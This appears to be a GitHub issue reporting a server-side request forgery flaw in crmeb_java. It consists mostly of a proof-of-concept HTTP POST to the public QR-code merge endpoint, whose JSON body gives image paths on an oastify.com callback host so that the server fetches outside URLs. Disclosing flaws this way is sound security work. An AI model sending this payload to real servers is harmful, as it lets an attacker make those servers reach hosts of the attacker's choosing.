ssrf about crmeb_java HOT 1 OPEN

POC：
POST /api/public/qrcode/mergeList HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 202
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
Authori-zation:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Request-Origion: SwaggerBootstrapUi
Accept: /
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8081/doc.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

[
{
"path": "http://1.1fho8kog4tc58o251jju0bq09rfi38rx.oastify.com/1.png",
"x": 0,
"y": 0
},{
"path": "http://2.1fho8kog4tc58o251jju0bq09rfi38rx.oastify.com/2.png",
"x": 0,
"y": 0
}
]

from crmeb_java.